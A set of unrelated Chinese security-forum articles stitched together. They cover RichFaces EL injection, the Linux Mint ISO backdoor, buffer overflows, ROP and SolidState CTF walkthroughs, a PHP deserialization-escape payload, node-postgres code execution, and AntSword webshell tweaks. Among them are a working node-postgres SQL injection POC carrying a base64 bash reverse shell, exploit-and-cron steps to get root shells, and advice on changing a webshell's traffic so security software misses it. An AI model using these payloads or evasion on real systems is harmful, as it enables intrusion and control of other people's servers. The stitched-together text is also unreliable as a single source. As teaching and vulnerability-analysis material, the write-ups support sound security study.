目前我们还是面临一个问题，MethodNotFoundException 如何触发呢？
我们需要满足 delegate 中不带有 ( ，还要触发 MethodNotFoundException 才行
经过 google ，发现只要类似 `${request.getClass }` 形式的表达式就能够引起解析错误，大致是解析的 bug
，当调用函数的时候，不带括号并且结尾多一个空格就会引发那个异常
## 效果
说了那么多，稍微展示一下
（tomcat7.0.65、richfaces-showcase4.3.7）
本地初始化环境的时候，先要访问一下相关功能，如下图：
然后就直接发送 payload
Ps：
构造 el 的过程异常艰辛23333，发现有诸多限制，比如 el 的底层实现就有 jboss 、tomcat、 glassfish 等，再说 jsf
的实现也有 sun 、myfaces、facelets ，里面涉及到 el 的解析方式不同，接口类的 serialVersionUID
不同等问题233333
经过长时间的研究，jdk、web容器、jsf依赖相关的问题一一解决了，在实验实际环境的时候，稍微测试下基本还是能 rce 的
测试的思路见：<https://tint0.com/when-el-injection-meets-java-deserialization/>
也有相当nice的翻译：<https://www.anquanke.com/post/id/160338>
## 总结
首先这个方法可以在 richfaces4.x 所有版本通用，而 cve-2018-12532 是需要 4.5.3 版本以上才行的
回头想了想，ContextualCompositeMethodExpression 中 invoke 函数的 catch 代码块，其实更主要的功能是为了在
delegate 成员执行失败的情况下，计算 source 中 el 表示的值，最后根据其值再次调用 invoke
函数，简言之就是一个小小的容错处理，delegate 和 source 两个不同类型的双保障让正常流程能够尽力的解析完成
并没有对 el 整个设计有很深入的了解，不像 cve-2018-12532 那样有很高的技术含量，这仅仅是从设计思路触发挖掘而已，我理解的是
getExpressionString 和 invoke 之间看似是对同一个 MethodExpression
对象操作，但是在框架设计中，肯定会有一些中转操作，一些容错处理，毕竟是底层解析，它需要尽可能的为各种情况作出合理的解析和判断。看似严防死守的白名单机制，在这种设计下给了我们更多的可利用空间 | 社区文章 |
# Linux Mint网站被黑，下载链接指向带有后门的ISO镜像
|
##### 译文声明
本文是翻译文章，文章来源：Freebuf
原文地址：<http://www.freebuf.com/news/96693.html>
译文仅供参考，具体内容表达以及含义原文为准。
你在2016年2月20日下载过Linux Mint吗？你可能已经感染了病毒……
Linux Mint是目前最畅销、最流行的Linux发行版，如果你最近刚下载并安装了该操作系统，不幸的告诉你，你下载的可能是带有恶意程序的ISO镜像。
20日晚上，一些未知名的黑客或者组织入侵进了Linux Mint网站，替换了网站中的下载链接，指向一个提供了Linux Mint 17.3
Cinnamon版本恶意ISO镜像的服务器。
Linux Mint 负责人Clement Lefebvre评论到：
> “黑客们制作了一个修改版的Linux Mint ISO，在上面植入了后门，然后设法入侵了我们网站，把下载链接指向了这个修改版。”
**谁会感染带后门的Linux Mint呢？**
Linux Mint团队目前发现只有一个版本会受影响，它就是Linux Mint 17.3 Cinnamon版本。
入侵事件发生在20日晚上，所以受影响的人群只限制在周六晚上下载Linux Mint 17.3
Cinnamon版本的用户。如果你是在20日之前下载或者卸载了Linux Mint 17.3
Cinnamon版本，那你就不会受到影响。如果你下载的是其他版本的Linux Mint，即便通过Torrent或者HTTP链接包含了Mint 17.3
Cinnamon，那也不会受影响。
**攻击详情**
黑客通过团队的WordPress博客访问了底层服务器，然后获得了访问数据的shell。调查小组的发现，黑客操控了Linux
Mint下载页面，并将下载链接指向了一个恶意FTP（文件传输协议）服务器上，该服务器被发现位于保加利亚（IP:
5.104.175.212）。受影响的Linux ISO
安装了完整的操作系统（含有网络中继聊天（IRC）后门Tsunami），所以黑客便可以通过IRC服务器访问了系统。
注：Tsunami是非常著名的Linux ELF木马，一个简单的IRC bot，用于发动DDoS攻击。
**黑客vs Linux Mint系统管理员**
Linux Mint团队迅速发现了这次黑客入侵，清除了网站上的恶意链接，随之在Linux
Mint博客上承认了这次入侵事件。但是不久之后，这群黑客又再次入侵了它们的下载页面。
事实上，Linux Mint没有清除掉黑客所利用的入侵端口，所以后来Linux Mint团队选择下线了整个
linuxmint域名，以防止ISO镜像进一步的感染用户。
> “我们不清楚这次攻击背后的目的是什么，如果攻击者进一步的攻击我们，并且他们的目标就是伤害我们，我们将会寻求法律和安全公司的帮助，找出背后的元凶。”
**黑客售卖Linux Mint网站数据**
黑客在网上售卖Linux Mint数据，全站数据仅售85美元。这些黑客们似乎是菜鸟，或者经验不足的组织，有经验的黑客一般不会选择用IRC
bot来攻击最新的Linux发行版。而且从他们的入侵行为被发现之后又再次发动攻击来看，他们也应该是经验较少的黑客。
**怎样保护Linux设备安全？**
ISO镜像用户可以先检查签名是否有效，对比设备的MD5签名是否与官方版本一致。如果已经安装了带有后门的系统，建议执行以下步骤：
> 1.立即断网
>
> 2.备份所有的数据
>
> 3.格式化或者重新安装操作系统
>
> 4.更改敏感网站和邮箱的密码 | 社区文章 |
如果计算机程序错误地处理传入数据，则它可能容易受到缓冲区溢出的影响。若程序中支持用户任意输入数据，那么可能导致此类程序崩溃。更糟糕的是，易受攻击的程序可能会执行入侵者提供的代码，并执行相应的程序以达到破坏系统的行为。缓冲区溢出漏洞是由程序员开发错误引起的，这些错误很容易理解，但不容易避免或防范。
### 什么导致缓冲区溢出？
缓冲区溢出漏洞（也称为缓冲区溢出）的想法很简单。 以下是具有缓冲区溢出漏洞的C程序的源代码：
char greeting[5];
memcpy(greeting, "Hello, world!\n", 15);
printf(greeting);
当我们编译并运行这个存在漏洞的程序时会发生什么？任何事情都可能发生。 当执行此代码片段时，它将尝试将15个字节放入只有5个字节长的目标缓冲区。
这意味着将十个字节写入阵列外部的内存地址。 稍后会发生什么取决于重写的十个字节的内存的原始内容。 也许重要的变量存储在那里，我们刚刚的做法更改了它们的值。
上面的例子能够很好的解释缓冲区溢出的概念，然而缺乏开发经验的程序员会犯这样的错误。 那么，让我们考虑另一个例子。 我们假设我们需要从文件中读取IP地址。
我们可以使用以下C代码来完成它：
#include <stdio.h>
#define MAX_IP_LENGTH 15
int main(void) {
char file_name[] = "ip.txt";
FILE *fp;
fp = fopen(file_name, "r");
char ch;
int counter = 0;
char buf[MAX_IP_LENGTH];
while((ch = fgetc(fp)) != EOF) {
buf[counter++] = ch;
}
buf[counter] = '\0';
printf("%s\n", buf);
fclose(fp);
return 0;
}
上面例子中的一个错误并不那么明显。 我们假设我们想要从文件中读取的IP地址永远不会超过15个字节。
适当的IP地址（例如，`255.255.255.255`）不能超过15个字节。
但是，恶意用户可以准备包含非常长的伪字符串而不是IP地址的文件（例如`19222222222.16888888.0.1`）。
该字符串将导致我们的程序溢出目标缓冲区。
如果你认为即使这个bug太明显了也没有程序员会犯这样的错误。那么接下来，我们将看到一个缓冲区溢出错误的真实示例，该错误发生在一个非常重要的项目中，并且不比上面的示例复杂得多。
### 堆栈缓冲区溢出攻击示例
现在我们知道一个程序可以溢出一个数组并覆盖它不应该覆盖的内存片段，让我们看看它是如何用来挂载缓冲区溢出攻击的。
在一般的攻击场景（称为堆栈缓冲区溢出）中，通过将数据（意图处理或显示）与控制程序执行的命令混合，引起信息安全的许多问题。
在C中，与大多数编程语言一样，程序是使用函数构建的。 函数相互调用，相互传递参数，并返回值。
例如我们的代码从文件中读取IP地址，可以是名为`readIpAddress`的函数的一部分，该函数从文件中读取IP地址并对其进行解析。
此函数可以由其他一些函数调用，例如`readConfiguration`。
当`readConfiguration`调用`readIpAddress`时，它会向其传递一个文件名，然后`readIpAddress`函数将一个IP地址作为四个字节的数组返回。
图1. readIpAddress函数的参数和返回值
在该函数调用期间，三个不同的信息并排存储在计算机存储器中。
对于每个程序，操作系统维护一个内存区域，其中包括一个称为堆栈或调用堆栈的部分（因此名称堆栈缓冲区溢出）。 调用函数时，会为其分配堆栈的片段。
这个堆栈（称为框架）用于：
* 记住完成函数执行时程序执行应该从中恢复的代码行（在我们的例子中，`readConfiguration`函数中的特定行）
* 存储由调用者传递给函数的参数（在我们的例子中，例如`/home/someuser/myconfiguration/ip.txt`）
* 将函数返回的返回值存储到其调用者（在我们的例子中，是一个四字节数组，例如`192,168,0,1`）
* 在执行此函数时存储被调用函数的局部变量（在我们的例子中，变量`char [MAX_IP_LENGTH] buf`）
因此，如果程序在堆栈帧中分配了缓冲区并尝试在其中放置的数据超出了适合的范围，则用户输入数据可能会溢出并覆盖存储返回地址的内存位置。
图2.调用readIPAddress函数时堆栈帧的内容
如果问题是由随机格式错误的用户输入数据引起的，则很可能新的返回地址不会指向存储任何其他程序的内存位置，因此原始程序将崩溃。
但是，如果数据是攻击者精心准备的，则会产生恶意代码执行的情况。
攻击者的第一步是准备可执行代码的数据，这些数据可以为攻击者带来好处（这种数据称为shellcode）。 第二步是将此恶意数据的地址放在返回地址的确切位置。
图3. ip.txt的内容覆盖了返回地址
实际上，当函数读取IP字符串并将其放入目标缓冲区时，返回地址将被恶意代码的地址替换。 当函数结束时，程序执行会跳转到恶意代码。
### 如何防止缓冲区溢出？
自从发现堆栈缓冲区溢出攻击技术以来，操作系统（`Linux，Microsoft Windows，macOS`等）的作者尝试了许多预防技术：
* 堆栈可以是不可执行的，因此即使恶意代码放在缓冲区中，也无法执行。
* 操作系统可以随机化地址空间（存储空间）的存储器布局。 在这种情况下，当恶意代码放在缓冲区中时，攻击者无法预测其地址。
* 其他保护技术（例如`StackGuard`）以这样的方式修改编译器：每个函数调用一段代码来验证返回地址是否未更改。
实际上，即使这种保护机制使堆栈缓冲区溢出攻击更加困难，它们也不会使它们变得不可能，并且其中一些会影响性能。
编程语言中存在缓冲区溢出漏洞，与C类似，为了提高效率而不进行内存访问，需要进行安全交易。
在通常用于构建Web应用程序的高级编程语言（例如`Python，Java，PHP，JavaScript或Perl`）中，缓冲区溢出漏洞不可能存在。
在这些编程语言中，我们不能将多余的数据放入目标缓冲区。 例如，尝试编译并执行以下Java代码：
int[] buffer = new int[5];
buffer[100] = 44;
Java编译器不会产生警告，但运行时Java虚拟机将检测到问题而不是覆盖随机内存，它将中断程序执行。
### 缓冲区溢出与Web应用
但是，即使是使用高级语言的程序员也应该知道并关心缓冲区溢出攻击。他们的程序通常在用C编写的操作系统中执行，或者使用用C编写的运行时环境，并且这个C代码可能容易受到这种攻击。为了了解缓冲区溢出漏洞如何影响使用这种高级编程语言的程序员，让我们分析一下CVE-2015-3329，一个真实的安全漏洞，它在2015年的PHP标准库中被发现。
PHP应用程序是* .php文件的集合。为了便于分发此类应用程序，可以将其打包到单个文件存档中 -作为zip文件，tar文件或使用名为phar的自定义PHP格式。名为phar的PHP扩展包含一个可用于处理此类存档的类。使用此类，我们可以解析存档，列出其文件，提取文件等。使用此类非常简单，例如，从存档中提取所有文件，使用以下代码：
$phar = new Phar('phar-file.phar');
$phar->extractTo('./directory');
当Phar类解析存档`（新的Phar（'phar-file.phar'））`时，它会从存档中读取所有文件名，将每个文件名与存档文件名连接起来，然后计算校验和。
例如，对于包含文件`index.php`和`components/hello.php`的名为`myarchive.phar`的存档，Phar类计算两个字符串的校验和：`myarchive.pharindex.php`和`myarchive.pharcomponents/hello.php`。
作者之所以这样实现它并不重要，重要的是他们如何实现它。 到2015年，此操作使用以下函数完成：
phar_set_inode(phar_entry_info *entry TSRMLS_DC) /* {{{ */
{
char tmp[MAXPATHLEN];
int tmp_len;
tmp_len = entry->filename_len + entry->phar->fname_len;
memcpy(tmp, entry->phar->fname, entry->phar->fname_len);
memcpy(tmp + entry->phar->fname_len, entry->filename, entry->filename_len);
entry->inode = (unsigned short)zend_get_hash_value(tmp, tmp_len);
}
如我们所见，此函数创建一个名为`tmp`的字符数组。
首先使用以下命令将`phar`存档的名称（在我们的示例中为`myarchive.phar`）复制到此数组中：
memcpy(tmp, entry->phar->fname, entry->phar->fname_len);
在此命令中：
第一个参数`tmp`是应该复制字节的目标。
第二个参数`entry-> phar-> fname`是一个来源，应该从中复制字节。在我们的例子中作为文件名`（myarchive.phar）`。
第三个参数`entry-> phar-> fname_len`是应该复制的字节数。在我们的例子中，它是存档文件名的长度（以字节为单位）。
该函数使用以下命令将文件名（在我们的示例中，`index.php`或`components/hello.php`）复制到`tmp char`数组中：
memcpy(tmp + entry->phar->fname_len, entry->filename, entry->filename_len);
在此命令中：
第一个参数`tmp + entry-> phar->
fname_len`是一个应该复制字节的目标。在我们的例子中，它是存档文件名结尾之后的`tmp`数组中的一个位置。
第二个参数`entry-> filename`是来自应该复制字节的源文件。
第三个参数`entry-> filename_len`是应该复制的字节数。
然后调用`zend_get_hash_value`函数来计算哈希。
请注意如何声明缓冲区的大小：
char tmp[MAXPATHLEN];
它的大小为`MAXPATHLEN`，它是一个常量，定义为当前平台上文件系统路径的最大长度。
作者假设，如果他们将存档的文件名与存档中文件的名称连接起来，它们将永远不会超过允许的最大路径长度。
在正常情况下，这个假设得到满足。如果攻击者使用异常长的文件名准备存档，则缓冲区溢出将会发送。 函数`phar_set_inode`将导致tmp数组溢出。
攻击者可以使用它来崩溃PHP（导致拒绝服务）甚至使其执行恶意代码。
问题类似于我们的简单示例，程序员犯了一个错误，过多地信任用户输入，并假设数据总是适合固定大小的缓冲区。 然而此漏洞在2015年被发现并已修复。
### 如何避免缓冲区溢出
程序员必须始终验证用户输入长度，以避免缓冲区溢出攻击。 但是，避免缓冲区溢出漏洞的一般方法是坚持使用包含缓冲区溢出保护的安全功能（与`memcpy`不同）。
此类函数可在不同平台上使用，例如`strlcpy，strlcat，snprintf（OpenBSD）或strcpy_s，strcat_s，sprintf_s（Windows`）。
本文为翻译文章，来自：https://www.netsparker.com/blog/web-security/buffer-overflow-attacks/ | 社区文章 |
# 渗透测试实战-ROP靶机PWN+SolidState靶机入侵
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
大家好，爱写靶机入侵文章的我又来了！本次靶机分2种第一种为CTF中的PWN，该靶机设计在Linux 32位系统中，一共分为3个等级，本次先实战使用
**level-0** ，第二个靶机为SolidState，还是跟原来一样我们入侵进去拿到root权限。
## 靶机安装/下载
靶机ROP下载地址：<https://pan.baidu.com/s/1rYDOK-EDZDEfEYk2_IfRMg>
靶机IP：172.16.24.48
SolidState靶机下载地址：<https://pan.baidu.com/s/1UvSFf-8wMAtRFZ5qNkjMJg>
靶机IP：172.16.24.66
## 实战
### ROP靶机PWN
老规矩探测IP：
通过nmap探测可以看到该靶机开了3个端口，我们访问http看一下
这里给出来了，该等级的c语言代码和一些需要我们关注的信息，比如该等级靶机让我们锻炼ret2libc技术，还给出了一个ssh的账号密码为： **level0
: warmup** ，通过上面的源码可以看到这里有很明显的栈溢出漏洞，下一步我们就登陆该等级ssh，查看调试一下吧
登陆成功，在目录下面有一个flag文件，我们现在的权限说没办法读取的，下一步我们运行一下该level0，看看是怎么样的
可以看到程序接收用户的输入，如果经常挖漏洞的小伙伴一看就知道这样的方式很有可能是出现溢出漏洞的（假如没有源码的情况下），下面我们来调试一下这个level0看看，
通过上图可以看到小弟是先确认一下系统版本，确认其为32位Linux操作系统，后面才使用gdb加载level0文件
通过查看main可以看到比较敏感的函数：gets
下一步使用checksec来检测一下开启了那些防护，
如上图可以看到只开启了NX，满足可以使用ret2libc技术，下一步我们来确认偏移地址，我们使用pattern来完成，gdb
peda插件已经内置，因为我们有源码所有我就不把偏移指设的那么多，如图：
生成完后，我们继续运行一下该程序，在gdb里直接输入 “r” 即可，如何输入生成的值执行
通过上图可以看到程序如我们预想的那样奔溃，EIP变成了 0x41414641
接下来我们通过pattern_offset来判断溢出点为44
下一步我们来确认一下溢出点是否真确
通过上面的调试已经确认该溢出点是正确的，eip也可控，存在栈溢出漏洞，下一步我们使用vmmap查看内存映射，寻找选择可读可写和可执行的内存块
到了这里有经验的小伙伴肯定知道该怎么做了，
我们找到了2个，下一步我们找pop3ret，我们使用 ropgadget 来帮我们完成，pade插件里已经有了，如图：
，我们找到了一个，是否正确呢，我们去<http://ropshell.com> 上验证一下，小弟这里就把这个level0 下载到本机然后上传到该站分析，
确认无误后，下一步我们就来编写这个exp吧，
上图中 0xbffdf000 为 堆栈地址
下面的0x21000 为 堆栈的空间地址
最后的 0x666 为发送的shellcode字节，其实小伙伴们可以写小一点，我就不一样了我喜欢大的。。。。
最后我们运行该exp，拿flag
如图所示，已成功拿到shell和flag
【完】
### SolidState靶机入侵
看完比较枯燥的，下面我们来点有趣的。
老规矩探测IP：
下一步使用nmap探测一下，
发现其开放了多个端口，我们先看看80端口，看有没有什么可利用的
下一步我们使用目录猜解工具跑一下看看
发现其过滤了我们的探测,我们在上面扫描时，看到4555端口开放了一个很敏感的服务：JAMES Remote Admin 2.3.2
到了这里我们访问一下该端口看看，
让我们登陆，哈哈哈，不用怀疑谷歌一波，发现其默认账号密码为：root ：root
试一下，然后就直接进去了。。。。
通过上图提示，我们直接输入 help
看到了其给了我们几个命令，下面小弟就直接列出用户，然后选择一个账户修改其密码，如图：
可以看到 我重置了 mindy 账户的密码改为 666
下面我又搜索了关于 JAMES 的漏洞，发现一个远程命令执行漏洞，如图：
地址：<https://www.exploit-db.com/exploits/35513>
那这个漏洞需要配合登陆ssh触发，我们看到上面我已经重置了其邮箱密码，下面我们登陆其邮箱看看有没有什么发现，（关于邮箱怎么设置连接，请查看小弟的前面几篇文章）
成功拿到ssh密码：P[@55W0rd1](https://github.com/55W0rd1 "@55W0rd1")!2@
下一步我们修改一下我们找到的exp脚本，
直接修改第19行代码，把payload改成我本机的ip，然后在本机接收1234 端口
下一步就是登陆该ssh账户，
我们已经成功拿到shell，（注，这里要说一下，如果没有利用这个漏洞，直接用ssh登陆，得到的shell是“rbash”的，小弟试了试没办法绕过）。
下面我们直接提权吧，老规矩在/tmp目录下上传提权脚本看看
我在/tmp目录下操作的时候，发现刚刚下载完的文件突然就不见了，我去。。。
当然我的手速还是挺快的，刚刚已经运行完了该脚本，分析中发现了一个可写文件且权限较高，如图：
我们访问查看一下这个文件，
看了源码应该就知道了为什么/tmp目录下的文件会突然不见。。。
下面不用怀疑直接替换这个文件，即可
因为刚刚我们可以看到，这个文件是自己默认隔段时间执行的，所以我们只需要在本机上运行监听端口静静等待美丽的shell自己送来门了就行，如图：
成功拿到root_shell
## 结语
祝您生活工作愉快！ | 社区文章 |
小白第一次写文章，还请各位大佬多多指教
# 0x1 知识点
先来看一下这道题需要的知识点
* * *
数组可以绕过strlen的长度限制
$a=$_GET['a'];
var_dump($a);
$c=strlen($a);
var_dump($c);
?>
* * *
当反序列化到足够的长度时，后面的数据会被扔掉
<?php
$a=$_GET['a'];
$result=unserialize($a);
var_dump($result);
?>
* * *
# 0x2 分析
知道了上面的这些东西后，我们再来看这道题
扫描目录，发现www.zip
拿到源码，审计源代码
在class.php看到有个mysql类，感觉可能和sql注入有关，看到下面发现有个filter函数把select、update等给替换了，于是感觉不太可能是注入了。继续往下看
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
在config.php中看到有flag变量，那么这道题应该就是读取这个文件，拿到flag
继续往下看，在profile.php文件内，看到两个敏感函数，file_get_contents和unserialize,这道题可能和反序列化有关，并且profile.php会把页面的反序列化之后的结果显示出来，那么我们可以利用file_get_content把config.php读取出来，然后base64编码一下，就可以把config.php的内容输出出来。
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
我们再去看看profile变量是哪里来的，在update.php文件中，发现了profile变量
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
再去看看从update.php到profile.php的过程中，profile变量经过了那些过程，
有一个update_profile($username, serialize($profile))。
跟进一下这个函数，
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
发现这个函数调用了filter函数，这个函数不是过滤的那个函数吗，难道这条路线也凉了？？？
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
发现前面那四个是增删改查，最后一个where和前面的有点不一样啊。。。
这时看了一下where和hacker发现两者的字符数量不同，而且前面那四个关键词的字符数量和hacker都是一样的，然后去网上查了一下资料发现，反序列化不仅有pop链的问题，还有逃逸字符的问题。
那么这题就很明显了，通过把where替换为hacker把我们的config.php逃逸出来。
* * *
现在问题来了，我们使用那个参数搭载payload呢？？？
一共有四个参数，通过对比我们发现，phone,email，nickname有WAF检测，photo是一个文件，但是nickname有点不一样，先是一个正则限制然后是一个长度限制，长度限制好说可以用数组绕过，这里有一个小trick,or运算符，前面的条件判断为true时，后面的表达式不会执行，为flase时，后面的表达式才会执行。所以现在条件变成了，让preg_match返回flase，使用数组绕过strlen的长度判断，当preg_match处理数组时，会报错，正合我意，一个数组可以绕过两个条件的判断。
先看一下我们构造的读取文件的语句有多长
";}s:5:"photo";s:10:"config.php
>>> len('";}s:5:"photo";s:10:"config.php')
31
一个where被替换为hacker，可以逃逸一个字符我们一共有31个字符，所以需要31个where。
>>> 'where'*31
'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere'
所以payload:
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php
经过序列化之后的结果为
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:186:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:7:"upload/";}
在经过替换
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:186:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:7:"upload/";}
一共31个hacker正好186个字符，这样就使我们的这个s:5:"photo";s:10:"config.php";被当作数组中的photo元素给反序列化了。因为到这里已经反序列化完毕，所以最后的s:5:"photo";s:7:"upload/";}就被扔掉了。
* * *
# 0x3 利用
解题过程如下：
我们先去register.php注册一个账号，登陆
进入到update.php界面 参数改为一下内容，抓包，把nickname改为数组
然后去访问profile.php，查看源码，base64解码一下就拿到flag了。
# 0x4 反思
这道题最难受的还是在代码审计上，代码审计能力太差了。。。。。一定要好好的练练代码审计。 | 社区文章 |
# 【技术分享】node.js + postgres 从注入到Getshell
|
##### 译文声明
本文是翻译文章，文章来源：leavesongs.com
原文地址：<https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html>
译文仅供参考，具体内容表达以及含义原文为准。
**前言**
****
（最近你们可能会看到我发很多陈年漏洞的分析，其实这些漏洞刚出来我就想写，不过是没时间，拖延拖延，但该做的事迟早要做的，共勉）
Postgres是现在用的比较多的数据库，包括我自己的博客，数据库都选择使用Postgres，其优点我就不展开说了。node-postgres是node中连接pg数据库的客户端，其中出现过一个代码执行漏洞，非常典型，可以拿出来讲一讲。
**0x01 Postgres 协议分析**
****
碳基体妹纸曾经分析过postgres的认证协议，显然pg的交互过程其实就是简单的TCP数据包的交互过程，文档中列出了所有数据报文。
其中，我们观察到，pg的通信，其实就是一些预定的message交换的过程。比如，pg返回给客户端的有一种报文叫“RowDescription”，作用是返回每一列（row）的所有字段名（field
name）。客户端拿到这个message，解析出其中的内容，即可确定字段名：
我们可以抓包试一下，关闭服务端SSL，执行SELECT 'phithon' AS "name"，可见客户端发送的报文头是Simple
Query，内容就是我执行的这条SQL语句：
返回包分为4个message，分别是T/D/C/Z，查看文档可知，分别是“Row description”、“Data row”、“Command
completion”、“Ready for query”：
这四者意义如下：
1.“Row description” 字段及其名字，比如上图中有一个字段，名为“name”
2.“Data row” 值，上图中值为“70686974686f6e”，其实就是“phithon”
3.“Command completion”
用来标志执行的语句类型与相关行数，比如上图中，我们执行的是select语句，返回1行数据，所以值是“SELECT 1”
4.“Ready for query” 告诉客户端，可以发送下一条语句了
至此，我们简单分析了一下postgresql的通信过程。明白了这一点，后面的代码执行漏洞，也由此拉开序幕。
**0x02 漏洞触发点**
****
安装node-postgres的7.1.0版本：npm install
[email protected]。在node_modules/pg/lib/connection.js可以找到连接数据库的源码：
可见，当this._reader.header等于"T"的时候，就进入parseT方法。0x01中介绍过T是什么，T就是“Row
description”，表示返回数据的字段数及其名字。比如我执行了SELECT * FROM
"user"，pg数据库需要告诉客户端user这个表究竟有哪些字段，parseT方法就是用来获取这个字段名的。
parseT中触发了rowDescription消息，我们看看在哪里接受这个事件：
在client.js中接受了rowDescription事件，并调用了query.js中的handleRowDescription方法，handleRowDescription方法中执行this._result.addFields(msg.fields)语句，并将所有字段传入其中。
跟进addFields方法：
addFields方法中将所有字段经过inlineParser函数处理，处理完后得到结果ctorBody，传入了Function类的最后一个参数。
熟悉XSS漏洞的同学对“Function”这个类（ <https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function>
）应该不陌生了，在浏览器中我们可以用Function+任意字符串创造一个函数并执行：
其效果其实和eval差不多，特别类似PHP中的create_function。那么，Function的最后一个参数（也就是函数体）如果被用户控制，将会创造一个存在漏洞的函数。在前端是XSS漏洞，在后端则是代码执行漏洞。
那么，ctorBody是否可以被用户控制呢？
**0x03 常见BUG：转义不全导致单引号逃逸**
****
ctorBody是经过inlineParser函数处理的，看看这个函数代码：
可见这里是存在字符串拼接，fieldName即为我前面说的“字段名”。虽然存在字符串拼接，但这里单引号'被转义成'：fieldName.replace(/'/g,
"\'")。我们在注释中也能看到开发者意识到了单引号需要“escaped”。
但显然，只转义单引号，我们可以通过反斜线来绕过限制：
**' == > \'**
这是一个比较普遍的BUG，开发者知道需要将单引号前面增加反斜线来转义单引号，但是却忘了我们也可以通过在这二者前面增加一个反斜线来转义新增加的转义符。所以，我们尝试执行如下SQL语句：
sql = `SELECT 1 AS "\'+console.log(process.env)]=null;//"`
const res = await client.query(sql)
这个SQL语句其实就很简单，因为最后需要控制fieldName，所以我们需要用到AS语句来构造字段名。
动态运行后，在Function的位置下断点，我们可以看到最终传入Function类的函数体：
可见，ctorBody的值为：
this['\'+console.log(process.env)]=null;//'] = rowData[0] == null ? null : parsers[0](rowData[0]);
我逃逸了单引号，并构造了一个合法的JavaScript代码。最后，console.log(process.env)在数据被读取的时候执行，环境变量process.env被输出：
**0x04 实战利用**
****
那么，在实战中，这个漏洞如何利用呢？
首先，因为可控点出现在数据库字段名的位置，正常情况下字段名显然不可能被控制。所以，我们首先需要控制数据库或者SQL语句，比如存在SQL注入漏洞的情况下。
所以我编写了一个简单的存在注入的程序：
正常情况下，传入id=1获得第一条数据：
可见，这里id是存在SQL注入漏洞的。那么，我们怎么通过SQL注入控制字段名？
一般来说，这种WHERE后的注入，我们已经无法控制字段名了。即使通过如 **SELECT * FROM "user" WHERE id=-1 UNION
SELECT 1,2,3 AS "\'+console.log(process.env)]=null;//"**
，第二个SELECT后的字段名也不会被PG返回，因为字段名已经被第一个SELECT定死。
但是node-postgres是支持多句执行的，显然我们可以直接闭合第一个SQL语句，在第二个SQL语句中编写POC代码：
虽然返回了500错误，但显然命令已然执行成功，环境变量被输出在控制台：
在vulhub搭建了环境，实战中遇到了一些蛋疼的问题：
**单双引号都不能正常使用，我们可以使用es6中的反引号**
**Function环境下没有require函数，不能获得child_process模块，我们可以通过使用process.mainModule.constructor._load来代替require。**
**一个fieldName只能有64位长度，所以我们通过多个fieldName拼接来完成利用**
最后构造出如下POC：
SELECT 1 AS "']=0;require=process.mainModule.constructor._load;/*", 2 AS "*/p=require(`child_process`);/*", 3 AS "*/p.exec(`echo YmFzaCAtaSA+JiAvZGV2L3Rj`+/*", 4 AS "*/`cC8xNzIuMTkuMC4xLzIxIDA+JjE=|base64 -d|bash`)//"
发送数据包：
成功反弹shell：
**0x05 漏洞修复**
****
官方随后发布了漏洞通知： <https://node-postgres.com/announcements#2017-08-12-code-execution-vulnerability> 以及修复方案： <https://github.com/brianc/node-postgres/blob/884e21e/lib/result.js#L86>
可见，最新版中将 **fieldName.replace(/'/g, "\'")** 修改为 **escape(fieldName)**
，而escape函数来自这个库：<https://github.com/joliss/js-string-escape>
，其转义了大部分可能出现问题的字符。 | 社区文章 |
# 对蚁剑的相关改造及分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
中国蚁剑是一款开源的跨平台网站管理工具，它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。而在平常渗透测试中，也只是单纯利用蚁剑进行shell的维持，但如果网站安装了相应的安全软件，蚁剑也不一定能够成功隐藏身份，因此本文对蚁剑进行相关的改造，以实现让安全软件无法识别蚁剑的流量特征
## 设置代理
想要查看蚁剑的数据包流量信息，只需要`Burpsuite`的配合即可，蚁剑支持代理模块，因此我们将蚁剑的代理设为`Burpsuite`的默认代理，这样使用其抓包就能查看来自蚁剑的数据包
## UA特征修改
通过尝试代理是否成功，检验一下发送的数据包:
可以发现通过蚁剑构造的数据包的`User-agent`头为`antSword/v2.1`,而相比大多数网站防护软件早已将这种`UA`头给过滤，因此需要修改UA头为标准的UA头以避免被拦截,因此需要将其修改为普通的UA头:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
